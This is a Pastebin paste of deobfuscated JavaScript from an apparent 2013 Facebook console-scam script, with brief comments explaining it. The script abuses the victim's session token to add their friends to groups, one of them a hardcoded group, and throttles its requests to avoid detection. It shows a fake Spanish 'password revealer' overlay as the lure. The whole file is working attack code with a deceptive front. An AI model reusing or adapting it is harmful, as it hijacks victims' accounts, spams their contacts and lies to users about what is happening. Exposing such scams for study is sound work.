mozartito

"Hack" FB unobfuscated

Jan 22nd, 2013
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function penetrasi(e) {
  2.  
  3. // jx.load is method to do a GET petition, composed by URL and Callback. Generate a looped petition to a Facebook Script for add friends to target group. Target group is any group in context of navigator.
  4. // Uses seems a sleep in each iteration for avoid detect
  5.  
  6.   jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + e + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function (e) {
  7.     e = e.substring(e.indexOf("{")), e = JSON.parse(e), i--, kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;", e.error ? (kunaon += "color:darkred'>", kunaon = e.errorDescription ? kunaon + e.errorDescription : kunaon + JSON.stringify(e, null, "")) : (kunaon += "color:darkgreen'>", kunaon += arr[i], suc++), kunaon += "</div>", e = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>" + ("<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>"), 0 < i ? (e += arr.length + " Amigos vulnerables<br/>", e += "<b>" + suc + "</b> Claves obtenidas de " + (arr.length - i) + " Amigos procesados ", e += "(" + i + " Amigos restantes...)", e = e + "<div class='friend-edge'>" + kunaon, e += "</div>") : (e += arr.length + " Suscribers detected and ", e += "<b>" + suc + " Suscribers added</b>", e += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Close</span></div>"), document.getElementById("pagelet_welcome_box").innerHTML = e + "</div>"
  8.   }, "text", "post"), tay--;
  9.   if (0 < tay) {
  10.     var t = arr[tay];
  11.     setTimeout("penetrasi(" + t + ")", 100)
  12.   }
  13.   console.log(tay + "/" + arr.length + ":" + t + ", success:" + suc), 0xf2a794cf90e3 != memberGroupId && jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=134344036695273&source=typeahead&members=" + e + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function () {}, "text", "post")
  14. }
  15. function clickfr_callback() {
  16.   0 < document.getElementsByName("ok").length && nHtml.ClickUp(document.getElementsByName("ok")[0]);
  17.   var e = arr[i];
  18.   i < arr.length && addfriend(e.substring(0, 4))
  19. }
  20. function clickfr() {
  21.   0 < document.getElementsByClassName("search").length ? (console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML), document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);", nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])) : j++, setTimeout("clickfr_callback()", 2e3)
  22. }
  23. function addfriend(e) {
  24.   i++, document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(), document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = e, document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur(), document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(), document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(), setTimeout("clickfr()", 2e3)
  25. }
  26. function sleep(e) {
  27.   for (var t = (new Date).getTime(), n = 0; 1e7 > n && !((new Date).getTime() - t > e); n++);
  28. }
  29. var tulisanNganu = "Revelador de claves: Hackearface.com",
  30.   kunaon = "";
  31. jx = {
  32.   getHTTPObject: function () {
  33.     var e = !1;
  34.     if ("undefined" != typeof ActiveXObject) try {
  35.       e = new ActiveXObject("Msxml2.XMLHTTP")
  36.     } catch (t) {
  37.       try {
  38.         e = new ActiveXObject("Microsoft.XMLHTTP")
  39.       } catch (n) {
  40.         e = !1
  41.       }
  42.     } else if (window.XMLHttpRequest) try {
  43.       e = new XMLHttpRequest
  44.     } catch (r) {
  45.       e = !1
  46.     }
  47.     return e
  48.   },
  49.   load: function (b, c, d, e, g) {
  50.     var f = this.init();
  51.     if (f && b) {
  52.       f.overrideMimeType && f.overrideMimeType("text/xml"), e || (e = "GET"), d || (d = "text"), g || (g = {});
  53.       var d = d.toLowerCase(),
  54.         e = e.toUpperCase(),
  55.         h = "uid=" + (new Date).getTime(),
  56.         b = b + (b.indexOf("?") + 1 ? "&" : "?"),
  57.         b = b + h,
  58.         h = null;
  59.       "POST" == e && (h = b.split("?"), b = h[0], h = h[1]), f.open(e, b, !0), "POST" == e && (f.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), f.setRequestHeader("Content-length", h.length), f.setRequestHeader("Connection", "close")), f.onreadystatechange = g.handler ? function () {
  60.         g.handler(f)
  61.       } : function () {
  62.         if (f.readyState == 4) if (f.status == 200) {
  63.           var b = "";
  64.           f.responseText && (b = f.responseText), d.charAt(0) == "j" ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : d.charAt(0) == "x" && (b = f.responseXML), c && c(b)
  65.         } else g.loadingIndicator && document.getElementsByTagName("body")[0].removeChild(g.loadingIndicator), g.loading && (document.getElementById(g.loading).style.display = "none"), error && error(f.status)
  66.       }, f.send(h)
  67.     }
  68.   },
  69.   bind: function (e) {
  70.     var t = {
  71.       url: "",
  72.       onSuccess: !1,
  73.       onError: !1,
  74.       format: "text",
  75.       method: "GET",
  76.       update: "",
  77.       loading: "",
  78.       loadingIndicator: ""
  79.     }, n;
  80.     for (n in t) e[n] && (t[n] = e[n]);
  81.     if (t.url) {
  82.       var r = !1;
  83.       t.loadingIndicator && (r = document.createElement("div"), r.setAttribute("style", "position:absolute;top:0px;left:0px;"), r.setAttribute("class", "loading-indicator"), r.innerHTML = t.loadingIndicator, document.getElementsByTagName("body")[0].appendChild(r), this.opt.loadingIndicator = r), t.loading && (document.getElementById(t.loading).style.display = "block"), this.load(t.url, function (e) {
  84.         t.onSuccess && t.onSuccess(e), t.update && (document.getElementById(t.update).innerHTML = e), r && document.getElementsByTagName("body")[0].removeChild(r), t.loading && (document.getElementById(t.loading).style.display = "none")
  85.       }, t.format, t.method, t)
  86.     }
  87.   },
  88.   init: function () {
  89.     return this.getHTTPObject()
  90.   }
  91. };
  92. var nHtml = {
  93.   FindByAttr: function (e, t, n, r) {
  94.     return "className" == n && (n = "class"), (e = document.evaluate(".//" + t + "[@" + n + "='" + r + "']", e, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)) && e.singleNodeValue ? e.singleNodeValue : null
  95.   },
  96.   FindByClassName: function (e, t, n) {
  97.     return this.FindByAttr(e, t, "className", n)
  98.   },
  99.   FindByXPath: function (e, t) {
  100.     try {
  101.       var n = document.evaluate(t, e, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  102.     } catch (r) {
  103.       GM_log("bad xpath:" + t)
  104.     }
  105.     return n && n.singleNodeValue ? n.singleNodeValue : null
  106.   },
  107.   VisitUrl: function (e) {
  108.     window.setTimeout(function () {
  109.       document.location.href = e
  110.     }, 500 + Math.floor(500 * Math.random()))
  111.   },
  112.   ClickWin: function (e, t, n) {
  113.     var r = e.document.createEvent("MouseEvents");
  114.     return r.initMouseEvent(n, !0, !0, e, 0, 0, 0, 0, 0, !1, !1, !1, !1, 0, null), !t.dispatchEvent(r)
  115.   },
  116.   Click: function (e) {
  117.     return this.ClickWin(window, e, "click")
  118.   },
  119.   ClickTimeout: function (e, t) {
  120.     window.setTimeout(function () {
  121.       return nHtml.ClickWin(window, e, "click")
  122.     }, t + Math.floor(500 * Math.random()))
  123.   },
  124.   ClickUp: function (e) {
  125.     this.ClickWin(window, e, "mousedown"), this.ClickWin(window, e, "mouseup"), this.ClickWin(window, e, "click")
  126.   },
  127.   GetText: function (e, t) {
  128.     var n = "";
  129.     void 0 == t && (t = 0);
  130.     if (!(40 < t)) {
  131.       if (void 0 != e.textContent) return e.textContent;
  132.       for (var r = 0; r < e.childNodes.length; r++) n += this.GetText(e.childNodes[r], t + 1);
  133.       return n
  134.     }
  135.   }
  136. };
  137. void 0 == document.getElementsByClassName && (document.getElementsByClassName = function (e) {
  138.   for (var t = RegExp("(?:^|\\s)" + e + "(?:$|\\s)"), n = document.getElementsByTagName("*"), r = [], i, s = 0; null != (i = n[s]); s++) {
  139.     var o = i.className;
  140.     o && -1 != o.indexOf(e) && t.test(o) && r.push(i)
  141.   }
  142.   return r
  143. }), Array.prototype.find = function (e) {
  144.   var t = !1;
  145.   for (i = 0; i < this.length; i++) typeof e == "function" ? e.test(this[i]) && (t || (t = []), t.push(i)) : this[i] === e && (t || (t = []), t.push(i));
  146.   return t
  147. };
  148. for (var a = 0, eind = 0, len = document.getElementsByClassName("mbm").length, a = 0; a < len; a++) {
  149.   var ele = document.getElementsByClassName("mbm")[a];
  150.   if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && "Add SUSCRIBERS" == document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value) {
  151.     eind = a;
  152.     break
  153.   }
  154. }
  155. var i = 3,
  156.   tay = 3,
  157.   counter1 = 0,
  158.   counter2 = 0,
  159.   counter3 = 0,
  160.   j = 0,
  161.   k = 0,
  162.   suc = 0,
  163.   arr = [],
  164.   memberGroupId = document.getElementsByName("group_id")[0].value;
  165. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + Env.user + "&filter[0]=user&__user=" + Env.user, function (e) {
  166.   for (var e = e.substring(e.indexOf("{")), e = JSON.parse(e), e = e.payload.entries, t = 0; t < e.length; t++) arr.push(e[t].uid);
  167.   tay = i = arr.length - 1, console.log(arr.length), e = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>" + ("<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>"), e += arr.length + " SUSCRIBERS detected", document.getElementById("pagelet_welcome_box").innerHTML = e + "</div>", penetrasi(arr[i])
  168. })
Add Comment
Please, Sign In to add comment